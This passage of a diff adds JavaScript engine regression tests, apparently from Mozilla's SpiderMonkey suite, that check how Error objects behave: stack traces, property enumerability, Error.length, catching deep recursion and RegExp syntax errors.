+var err = new Error(); // no message argument => no err.message property
+err.expando = 17;
+Object.defineProperty(err, "expando", { configurable: false });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Exceptions/error-property-enumerability.js b/js/src/tests/non262/Exceptions/error-property-enumerability.js
new file mode 100644
index 0000000000..c6674cfc57
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/error-property-enumerability.js
@@ -0,0 +1,30 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var errors = ["Error", "EvalError", "RangeError", "ReferenceError",
+ "SyntaxError", "TypeError", "URIError"];
+
+for (var i = 0; i < errors.length; i++) {
+ var error = this[errors[i]];
+
+ var desc = Object.getOwnPropertyDescriptor(error.prototype, "name");
+ assertEq(!!desc, true, errors[i] + ".prototype.name should exist");
+ assertEq((desc || {}).enumerable, false, errors[i] + ".prototype.name should not be enumerable");
+
+ desc = Object.getOwnPropertyDescriptor(error.prototype, "message");
+ assertEq(!!desc, true, errors[i] + ".prototype.message should exist");
+ assertEq((desc || {}).enumerable, false, errors[i] + ".prototype.message should not be enumerable");
+
+ var instance = new error;
+ desc = Object.getOwnPropertyDescriptor(instance, "message");
+ assertEq(!!desc, false, "new " + errors[i] + ".message should not exist");
+
+ instance = new error("a message");
+ desc = Object.getOwnPropertyDescriptor(instance, "message");
+ assertEq(!!desc, true, "new " + errors[i] + "(...).message should exist");
+ assertEq((desc || {}).enumerable, false, "new " + errors[i] + "(...).message should not be enumerable");
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Exceptions/errstack-001.js b/js/src/tests/non262/Exceptions/errstack-001.js
new file mode 100644
index 0000000000..042e357fa6
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/errstack-001.js
@@ -0,0 +1,242 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 28 Feb 2002
+ * SUMMARY: Testing that Error.stack distinguishes between:
+ *
+ * A) top-level calls: myFunc();
+ * B) no-name function calls: function() { myFunc();} ()
+ *
+ * The stack frame for A) should begin with '@'
+ * The stack frame for B) should begin with '()'
+ *
+ * This behavior was coded by Brendan during his fix for bug 127136.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=127136#c13
+ *
+ * Note: our function getStackFrames(err) orders the array of stack frames
+ * so that the 0th element will correspond to the highest frame, i.e. will
+ * correspond to a line in top-level code. The 1st element will correspond
+ * to the function that is called first, and so on...
+ *
+ * NOTE: At present Rhino does not have an Error.stack property. It is an
+ * ECMA extension, see http://bugzilla.mozilla.org/show_bug.cgi?id=123177
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing Error.stack';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var myErr = '';
+var stackFrames = '';
+
+
+function A(x,y)
+{
+ return B(x+1,y+1);
+}
+
+function B(x,z)
+{
+ return C(x+1,z+1);
+}
+
+function C(x,y)
+{
+ return D(x+1,y+1);
+}
+
+function D(x,z)
+{
+ try
+ {
+ throw new Error('meep!');
+ }
+ catch (e)
+ {
+ return e;
+ }
+}
+
+
+myErr = A(44,13);
+stackFrames = getStackFrames(myErr);
+status = inSection(1);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+status = inSection(2);
+actual = stackFrames[1].substring(0,2);
+expect = 'A@';
+addThis();
+
+status = inSection(3);
+actual = stackFrames[2].substring(0,2);
+expect = 'B@';
+addThis();
+
+status = inSection(4);
+actual = stackFrames[3].substring(0,2);
+expect = 'C@';
+addThis();
+
+status = inSection(5);
+actual = stackFrames[4].substring(0,2);
+expect = 'D@';
+addThis();
+
+
+
+myErr = A('44:foo','13:bar');
+stackFrames = getStackFrames(myErr);
+status = inSection(6);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+status = inSection(7);
+actual = stackFrames[1].substring(0,2);
+expect = 'A@';
+addThis();
+
+status = inSection(8);
+actual = stackFrames[2].substring(0,2);
+expect = 'B@';
+addThis();
+
+status = inSection(9);
+actual = stackFrames[3].substring(0,2);
+expect = 'C@';
+addThis();
+
+status = inSection(10);
+actual = stackFrames[4].substring(0,2);
+expect = 'D@';;
+addThis();
+
+
+
+/*
+ * Make the first frame occur in a function with an empty name -
+ */
+myErr = function() { return A(44,13); } ();
+stackFrames = getStackFrames(myErr);
+status = inSection(11);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+status = inSection(12);
+actual = stackFrames[1].substring(0,7);
+expect = 'myErr<@';
+addThis();
+
+status = inSection(13);
+actual = stackFrames[2].substring(0,2);
+expect = 'A@';
+addThis();
+
+// etc. for the rest of the frames as above
+
+
+
+/*
+ * Make the first frame occur in a function with name 'anonymous' -
+ */
+var f = Function('return A(44,13);');
+myErr = f();
+stackFrames = getStackFrames(myErr);
+status = inSection(14);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+status = inSection(15);
+actual = stackFrames[1].substring(0,10);
+expect = 'anonymous@';
+addThis();
+
+status = inSection(16);
+actual = stackFrames[2].substring(0,2);
+expect = 'A@';
+addThis();
+
+// etc. for the rest of the frames as above
+
+
+
+/*
+ * Make a user-defined error via the Error() function -
+ */
+var message = 'Hi there!'; var fileName = 'file name'; var lineNumber = 0;
+myErr = Error(message, fileName, lineNumber);
+stackFrames = getStackFrames(myErr);
+status = inSection(17);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+
+/*
+ * Now use the |new| keyword. Re-use the same params -
+ */
+myErr = new Error(message, fileName, lineNumber);
+stackFrames = getStackFrames(myErr);
+status = inSection(18);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Split the string |err.stack| along its '\n' delimiter.
+ * As of 2002-02-28 |err.stack| ends with the delimiter, so
+ * the resulting array has an empty string as its last element.
+ *
+ * Pop that useless element off before doing anything.
+ * Then reverse the array, for convenience of indexing -
+ */
+function getStackFrames(err)
+{
+ var arr = err.stack.split('\n');
+ arr.pop();
+ return arr.reverse();
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Exceptions/regress-121658.js b/js/src/tests/non262/Exceptions/regress-121658.js
new file mode 100644
index 0000000000..f2ab6e860f
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-121658.js
@@ -0,0 +1,121 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 24 Jan 2002
+ * SUMMARY: "Too much recursion" errors should be safely caught by try...catch
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=121658
+ *
+ * In the cases below, we expect i>0. The bug was filed because we
+ * were getting i===0; i.e. |i| did not retain the value it had at the
+ * location of the error.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 121658;
+var msg = '"Too much recursion" errors should be safely caught by try...catch';
+var TEST_PASSED = 'i retained the value it had at location of error';
+var TEST_FAILED = 'i did NOT retain this value';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var i;
+
+
+function f()
+{
+ ++i;
+
+ // try...catch should catch the "too much recursion" error to ensue
+ try
+ {
+ f();
+ }
+ catch(e)
+ {
+ }
+}
+
+i=0;
+f();
+status = inSection(1);
+actual = (i>0);
+expect = true;
+addThis();
+
+
+
+// Now try in function scope -
+function g()
+{
+ f();
+}
+
+i=0;
+g();
+status = inSection(2);
+actual = (i>0);
+expect = true;
+addThis();
+
+
+
+// Now try in eval scope -
+var sEval = 'function h(){++i; try{h();} catch(e){}}; i=0; h();';
+eval(sEval);
+status = inSection(3);
+actual = (i>0);
+expect = true;
+addThis();
+
+
+
+// Try in eval scope and mix functions up -
+sEval = 'function a(){++i; try{h();} catch(e){}}; i=0; a();';
+eval(sEval);
+status = inSection(4);
+actual = (i>0);
+expect = true;
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = formatThis(actual);
+ expectedvalues[UBound] = formatThis(expect);
+ UBound++;
+}
+
+
+function formatThis(bool)
+{
+ return bool? TEST_PASSED : TEST_FAILED;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(msg);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Exceptions/regress-123002.js b/js/src/tests/non262/Exceptions/regress-123002.js
new file mode 100644
index 0000000000..1639e6c65c
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-123002.js
@@ -0,0 +1,90 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 01 Feb 2002
+ * SUMMARY: Testing Error.length
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=123002
+ *
+ * NOTE: Error.length should equal the length of FormalParameterList of the
+ * Error constructor. This is currently 1 in Rhino, 3 in SpiderMonkey.
+ *
+ * The difference is due to http://bugzilla.mozilla.org/show_bug.cgi?id=50447.
+ * As a result of that bug, SpiderMonkey has extended ECMA to allow two new
+ * parameters to Error constructors:
+ *
+ * Rhino: new Error (message)
+ * SpiderMonkey: new Error (message, fileName, lineNumber)
+ *
+ * NOTE: since we have hard-coded the length expectations, this testcase will
+ * have to be changed if the Error FormalParameterList is ever changed again.
+ *
+ * To do this, just change the two LENGTH constants below -
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 123002;
+var summary = 'Testing Error.length';
+var QUOTE = '"';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var LENGTH_EXPECTED = 1;
+
+/*
+ * The various NativeError objects; see ECMA-262 Edition 3, Section 15.11.6
+ */
+var errObjects = [new Error(), new EvalError(), new RangeError(),
+ new ReferenceError(), new SyntaxError(), new TypeError(), new URIError()];
+
+
+for (var i in errObjects)
+{
+ var err = errObjects[i];
+ status = inSection(quoteThis(err.name));
+ actual = Error.length;
+ expect = LENGTH_EXPECTED;
+ addThis();
+}
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+function quoteThis(text)
+{
+ return QUOTE + text + QUOTE;
+}
diff --git a/js/src/tests/non262/Exceptions/regress-181654.js b/js/src/tests/non262/Exceptions/regress-181654.js
new file mode 100644
index 0000000000..7ddc9b0217
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-181654.js
@@ -0,0 +1,118 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 23 Nov 2002
+ * SUMMARY: Calling toString for an object derived from the Error class
+ * results in an TypeError (Rhino only)
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=181654
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '181654';
+var summary = 'Calling toString for an object derived from the Error class should be possible.';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var EMPTY_STRING = '';
+var EXPECTED_FORMAT = 0;
+
+
+// derive MyError from Error
+function MyError( msg )
+{
+ this.message = msg;
+}
+MyError.prototype = new Error();
+MyError.prototype.name = "MyError";
+
+
+status = inSection(1);
+var err1 = new MyError('msg1');
+actual = examineThis(err1, 'msg1');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(2);
+var err2 = new MyError(String(err1));
+actual = examineThis(err2, err1);
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(3);
+var err3 = new MyError();
+actual = examineThis(err3, EMPTY_STRING);
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(4);
+var err4 = new MyError(EMPTY_STRING);
+actual = examineThis(err4, EMPTY_STRING);
+expect = EXPECTED_FORMAT;
+addThis();
+
+// now generate an error -
+status = inSection(5);
+try
+{
+ throw new MyError("thrown");
+}
+catch(err5)
+{
+ actual = examineThis(err5, "thrown");
+}
+expect = EXPECTED_FORMAT;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Searches err.toString() for err.name + ':' + err.message,
+ * with possible whitespace on each side of the colon sign.
+ *
+ * We allow for no colon in case err.message was not provided by the user.
+ * In such a case, SpiderMonkey and Rhino currently set err.message = '',
+ * as allowed for by ECMA 15.11.4.3. This makes |pattern| work in this case.
+ *
+ * If this is ever changed to a non-empty string, e.g. 'undefined',
+ * you may have to modify |pattern| to take that into account -
+ *
+ */
+function examineThis(err, msg)
+{
+ var pattern = err.name + '\\s*:?\\s*' + msg;
+ return err.toString().search(RegExp(pattern));
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Exceptions/regress-181914.js b/js/src/tests/non262/Exceptions/regress-181914.js
new file mode 100644
index 0000000000..5f153a3912
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-181914.js
@@ -0,0 +1,157 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 25 Nov 2002
+ * SUMMARY: Calling a user-defined superconstructor
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=181914, esp. Comment 10.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '181914';
+var summary = 'Calling a user-defined superconstructor';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var EMPTY_STRING = '';
+var EXPECTED_FORMAT = 0;
+
+
+// make a user-defined version of the Error constructor
+function _Error(msg)
+{
+ this.message = msg;
+}
+_Error.prototype = new Error();
+_Error.prototype.name = '_Error';
+
+
+// derive MyApplyError from _Error
+function MyApplyError(msg)
+{
+ if(this instanceof MyApplyError)
+ _Error.apply(this, arguments);
+ else
+ return new MyApplyError(msg);
+}
+MyApplyError.prototype = new _Error();
+MyApplyError.prototype.name = "MyApplyError";
+
+
+// derive MyCallError from _Error
+function MyCallError(msg)
+{
+ if(this instanceof MyCallError)
+ _Error.call(this, msg);
+ else
+ return new MyCallError(msg);
+}
+MyCallError.prototype = new _Error();
+MyCallError.prototype.name = "MyCallError";
+
+
+function otherScope(msg)
+{
+ return MyApplyError(msg);
+}
+
+
+status = inSection(1);
+var err1 = new MyApplyError('msg1');
+actual = examineThis(err1, 'msg1');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(2);
+var err2 = new MyCallError('msg2');
+actual = examineThis(err2, 'msg2');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(3);
+var err3 = MyApplyError('msg3');
+actual = examineThis(err3, 'msg3');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(4);
+var err4 = MyCallError('msg4');
+actual = examineThis(err4, 'msg4');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(5);
+var err5 = otherScope('msg5');
+actual = examineThis(err5, 'msg5');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(6);
+var err6 = otherScope();
+actual = examineThis(err6, EMPTY_STRING);
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(7);
+var err7 = eval("MyApplyError('msg7')");
+actual = examineThis(err7, 'msg7');
+expect = EXPECTED_FORMAT;
+addThis();
+
+status = inSection(8);
+var err8;
+try
+{
+ throw MyApplyError('msg8');
+}
+catch(e)
+{
+ if(e instanceof Error)
+ err8 = e;
+}
+actual = examineThis(err8, 'msg8');
+expect = EXPECTED_FORMAT;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+// Searches |err.toString()| for |err.name + ':' + err.message|
+function examineThis(err, msg)
+{
+ var pattern = err.name + '\\s*:?\\s*' + msg;
+ return err.toString().search(RegExp(pattern));
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Exceptions/regress-257751.js b/js/src/tests/non262/Exceptions/regress-257751.js
new file mode 100644
index 0000000000..f95dedff49
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-257751.js
@@ -0,0 +1,92 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 257751;
+var summary = 'RegExp Syntax Errors should have lineNumber and fileName';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var status;
+var re;
+
+status = summary + ' ' + inSection(1) + ' RegExp("\\\\") ';
+try
+{
+ expect = 'Pass';
+ re = RegExp('\\');
+}
+catch(e)
+{
+ if (e.fileName && e.lineNumber)
+ {
+ actual = 'Pass';
+ }
+ else
+ {
+ actual = 'Fail';
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' RegExp(")") ';
+try
+{
+ expect = 'Pass';
+ re = RegExp(')');
+}
+catch(e)
+{
+ if (e.fileName && e.lineNumber)
+ {
+ actual = 'Pass';
+ }
+ else
+ {
+ actual = 'Fail';
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' /\\\\/ ';
+try
+{
+ expect = 'Pass';
+ re = eval('/\\/');
+}
+catch(e)
+{
+ if (e.fileName && e.lineNumber)
+ {
+ actual = 'Pass';
+ }
+ else
+ {
+ actual = 'Fail';
+ }
+}
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(4) + ' /)/ ';
+try
+{
+ expect = 'Pass';
+ re = eval('/)/');
+}
+catch(e)
+{
+ if (e.fileName && e.lineNumber)
+ {
+ actual = 'Pass';
+ }
+ else
+ {
+ actual = 'Fail';
+ }
+}
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/Exceptions/regress-273931.js b/js/src/tests/non262/Exceptions/regress-273931.js
new file mode 100644
index 0000000000..000b5f3108
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-273931.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 273931;
+var summary = 'Pop scope chain in exception handling';
+var actual = '';
+var expect = 'ReferenceError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+status = summary + ' ' + inSection(1) + ' ';
+try
+{
+ with ({foo:"bar"})
+ throw 42;
+}
+catch (e)
+{
+ try
+ {
+ printStatus(foo);
+ }
+ catch(ee)
+ {
+ actual = ee.name;
+ }
+}
+
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(2) + ' ';
+try
+{
+ with ({foo:"bar"})
+ eval("throw 42");
+}
+catch (e)
+{
+ try
+ {
+ printStatus(foo);
+ }
+ catch(ee)
+ {
+ actual = ee.name;
+ }
+}
+
+reportCompare(expect, actual, status);
+
+status = summary + ' ' + inSection(3) + ' ';
+try
+{
+ var s = "throw 42";
+ with ({foo:"bar"})
+ eval(s);
+}
+catch (e)
+{
+ try
+ {
+ printStatus(foo);
+ }
+ catch(ee)
+ {
+ actual = ee.name;
+ }
+}
+
+reportCompare(expect, actual, status);
diff --git a/js/src/tests/non262/Exceptions/regress-332472.js b/js/src/tests/non262/Exceptions/regress-332472.js
new file mode 100644
index 0000000000..df17f2ebe9
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-332472.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 332472;
+var summary = 'new RegExp() ignores string boundaries when throwing exceptions';
+var actual = '';
+var expect = true;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var str1 = "?asdf\nAnd you really shouldn't see this!";
+var str2 = str1.substr(0, 5);
+try {
+ new RegExp(str2);
+}
+catch(ex) {
+ printStatus(ex);
+ actual = ex instanceof SyntaxError;
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Exceptions/regress-333728.js b/js/src/tests/non262/Exceptions/regress-333728.js
new file mode 100644
index 0000000000..bf6f4ea34d
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-333728.js
@@ -0,0 +1,83 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 333728;
+var summary = 'Throw ReferenceErrors for typeof(...undef)';
+var actual = '';
+var expect = 'ReferenceError';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+try
+{
+ actual = typeof (0, undef);
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+reportCompare(expect, actual, summary + ': typeof (0, undef)');
+
+try
+{
+ actual = typeof (0 || undef);
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+reportCompare(expect, actual, summary + ': typeof (0 || undef)');
+
+try
+{
+ actual = typeof (1 && undef);
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+reportCompare(expect, actual, summary + ': typeof (1 && undef)');
+
+/*
+ try
+ {
+ actual = typeof (0 ? 0 : undef);
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+
+ reportCompare(expect, actual, summary + ': typeof (0 ? 0 : undef)');
+*/
+
+/*
+ try
+ {
+ actual = typeof (1 ? undef : 0);
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+
+ reportCompare(expect, actual, summary + ': typeof (1 ? undef : 0)');
+*/
+
+try
+{
+ actual = typeof (!this ? 0 : undef);
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+reportCompare(expect, actual, summary + ': typeof (!this ? 0 : undef)');
diff --git a/js/src/tests/non262/Exceptions/regress-342359.js b/js/src/tests/non262/Exceptions/regress-342359.js
new file mode 100644
index 0000000000..af5e2647f5
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-342359.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 342359;
+var summary = 'Overriding ReferenceError should stick';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+// work around bug 376957
+var SavedReferenceError = ReferenceError;
+
+try
+{
+ ReferenceError = 5;
+}
+catch(ex)
+{
+}
+
+try
+{
+ foo.blitz;
+}
+catch(ex)
+{
+}
+
+if (SavedReferenceError == ReferenceError)
+{
+ actual = expect = 'Test ignored due to bug 376957';
+}
+else
+{
+ expect = 5;
+ actual = ReferenceError;
+}
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Exceptions/regress-347674.js b/js/src/tests/non262/Exceptions/regress-347674.js
new file mode 100644
index 0000000000..63bc36616c
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-347674.js
@@ -0,0 +1,63 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "347674";
+var summary = "ReferenceError thrown when accessing exception bound in a " +
+ "catch block in a try block within that catch block";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+function foo()
+{
+ try
+ {
+ throw "32.9";
+ }
+ catch (e)
+ {
+ try
+ {
+ var errorCode = /^(\d+)\s+.*$/.exec(e)[1];
+ }
+ catch (e2)
+ {
+ void("*** internal error: e == " + e + ", e2 == " + e2);
+ throw e2;
+ }
+ }
+}
+
+try
+{
+ try
+ {
+ foo();
+ }
+ catch (ex)
+ {
+ if (!(ex instanceof TypeError))
+ throw "Wrong value thrown!\n" +
+ " expected: a TypeError ('32.9' doesn't match the regexp)\n" +
+ " actual: " + ex;
+ }
+}
+catch (e)
+{
+ failed = e;
+}
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Exceptions/regress-350650-n.js b/js/src/tests/non262/Exceptions/regress-350650-n.js
new file mode 100644
index 0000000000..fb457a6e07
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-350650-n.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350650;
+var summary = 'js reports "uncaught exception';
+var actual = 'Error';
+var expect = 'Error';
+
+expectExitCode(3);
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exc() { this.toString = function() { return "EXC"; } }
+ throw new exc();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Exceptions/regress-350837.js b/js/src/tests/non262/Exceptions/regress-350837.js
new file mode 100644
index 0000000000..66e721c3c5
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-350837.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350837;
+var summary = 'clear cx->throwing in finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'F';
+
+ function f()
+ {
+ actual = "F";
+ }
+
+ try
+ {
+ try {
+ throw 1;
+ } finally {
+ f.call(this);
+ }
+ }
+ catch(ex)
+ {
+ reportCompare(1, ex, summary);
+ }
+
+ reportCompare(expect, actual, summary);
+}
